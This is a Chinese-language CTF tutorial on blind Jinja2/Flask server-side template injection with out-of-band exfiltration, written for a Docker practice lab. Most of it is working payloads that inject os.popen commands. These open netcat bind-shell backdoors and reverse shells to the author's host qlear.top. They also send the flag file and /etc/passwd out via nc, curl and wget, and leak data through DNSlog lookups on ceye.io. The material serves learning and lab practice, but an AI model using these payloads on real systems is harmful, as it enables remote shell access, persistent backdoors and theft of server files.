SSTI 无回显注入_带外注入
SSTI课程推荐 重庆橙子科技 SSTI模板注入 ,我在这里学到了很多。
配合 docker 靶场 mcc0624/flask_ssti
食用效果更佳。
建议各位在学习带外时先基本掌握 TCP/IP
的基础知识和 netcat,curl,wget
等工具的基本使用。
带外注入,就是把目标主机的关键信息,利用一些工具,绕过其业务本身,带到外部来。要利用好带外注入,我们最好有一台公网上的云服务器,这会使得带外容易得多。
在服务器上,我们可以随便起一个 python 服务监听一个端口,或者用 nc 监听一个端口。
eg: python3 -m http.server 2333
或者 nc -lvp 2333
。
一、netcat 带外 & 后门 & 反弹 shell
关于 netcat 的使用,建议参考国光大佬的 nc 命令教程 一文。
目标主机处于内网时,可将信息带外。目标主机处于公网时,可在主机上留下后门或者反弹 shell 来获得 shell 。
1. nc 留后门(持续监听一个端口)
ncat
( 某种版本的 nc ) 的 -k
选项简直是后门之神,可以方便以后继续连接。关于这个版本的特殊,可见 nc 命令教程 。
先在靶机监听本地 2333 端口,这就是一个后门了
# @ target netcat
# netcat 在客户端断开连接后会自动退出
nc -lp 2333 -e /bin/bash
# @ target ncat
# ncat 的 -k 命令可以在客户端断开连接后仍保持监听,隐蔽性更好
nc -lk 2333 -e /bin/bash
攻击机连接靶机 2333 端口
# @ attacker netcat
# target_ip 需要是公网 ip
nc <target_ip> 2333
由于我的靶场装在docker上,所以这个实验未实际测试。大家可以在本地起一个 flask 环境进行测试。
{{config.__class__.__init__.__globals__['os'].popen('nc -lk 2333 -e /bin/bash').read()}}
攻击机进行连接 shell 并输出 flag 。
nc 192.168.32.138 2333
cat flag
2. nc 反弹 shell
如果主机的服务放在 docker 里,比较难连接到后门,这时反弹 shell 最简单。个人觉得一般做题时反弹shell最为实用。
当监听的本地端口获取到 shell 时输出 flag
# @ attacker qlear.top netcat
nc -lvp 2333
cat flag
-e
参数将将 /bin/bash
传递给 nc
# @ target netcat
nc qlear.top 2333 -e /bin/bash
这与上面的留后门 payload 差不多,注意先在我们的公网服务器上进行监听本地端口。
{{config.__class__.__init__.__globals__['os'].popen('nc qlear.top 2333 -e /bin/bash').read()}}
3. nc 文件带外
带外其实和反弹 shell 差不多,只是反弹 shell 时我们是直接连接 shell ,而带外时我们是连接文件。
# @ target netcat
nc qlelar.top 2333 < flag
nc qlear.top 2333 < /etc/passwd
# @ attacker qlear.top netcat
nc -lvp 2333
老规矩,提前在公网服务器上进行监听本地端口。
{{config.__class__.__init__.__globals__['os'].popen('nc qlear.top 2333 < flag').read()}}
二、 curl & wget & DNSlog 带外
由于本人比较菜,对这3种工具的使用不是很熟悉,所以这里只是简单的介绍一下。
1. curl & wget 带外
先在我们的公网服务器上监听本地端口,我们可以使用 nc -lvp 2333
或者 python3 -m http.server 2333
。
# @ target netcat
curl qlear.top:2333 -F "file=@flag"
curl qlear.top:2333/`cat flag`
# 实测 wget 带外时发现 flag 中有空格时输出信息会不完整
wget qlear.top:2333/`cat flag`
{{config.__class__.__init__.__globals__['os'].popen('curl qlear.top:2333 -F "file=@flag"').read()}}
{{config.__class__.__init__.__globals__['os'].popen('curl qlear.top:2333/`cat flag`').read()}}
{{config.__class__.__init__.__globals__['os'].popen('wget qlear.top:2333/`cat flag`').read()}}
2. DNSlog 带外
想要利用 DNSlog 带外注入,我们需要一个 DNSlog 服务器,这里推荐 ceye 。先在 ceye 注册一个账号,然后在 Profile 查看自己的 Identifier 。
当我们在服务器上 ping (nslookup 一类工具亦可)ceye 提供的 identifier 域名(域名拼接 shell 命令)时,ceye 将会记录下这个域名的解析记录,然后我们就可以在 ceye 的网站上查看这个解析记录中的带外信息了。
实操时,会发现 ping 命令不能 ping 很长的域名,例如:
# your_identifier : ceye 提供的 identifier
ping `whoami`.<your_identifier>.ceye.io # 正常执行
ping `cat flag`.<your_identifier>.ceye.io # 会报错
这就需要用到 cut
命令来一段一段的截取字符串。cut
命令在这里的作用就像sql注入中的 substr()
函数一样。
# 截取 flag 的第 6 到 19 位(亲测比较合适的长度)
ping `cut -c6-19 flag`.<your_identifier>.ceye.io
然后在 ceye 的侧栏 Records
选项 DNS Query
里查看 DNS 解析记录,解析记录将含有带外信息。网站刷新比较慢,需要耐心等待一段时间。
ceye 还有一个功能,那就是也可以监听到 http 请求,所以我们可以利用这个功能来 curl 或者 wget 带外 flag ,这也算是多了个手法。
curl http://<your_identifier>.ceye.io/`cat flag`
wget http://<your_identifier>.ceye.io/`cat flag`
然后在 ceye 的 Records
一栏的 HTTP Request
查看 curl 和 wget 的 http 请求。
# cut 截取长度需要多次调整尝试
{{config.__class__.__init__.__globals__['os'].popen('ping `cut -c6-19 flag`.<your_identifier>.ceye.io').read()}}
{{config.__class__.__init__.__globals__['os'].popen('curl http://<your_identifier>.ceye.io/`cat flag`').read()}}
{{config.__class__.__init__.__globals__['os'].popen('wget http://<your_identifier>.ceye.io/`cat flag`').read()}}
参考
shell中的命令用法(cut)
在学习 ceye 的使用时发现一个大佬的文章很有意思:DNS Rebinding攻击绕过ssrf 。
By QING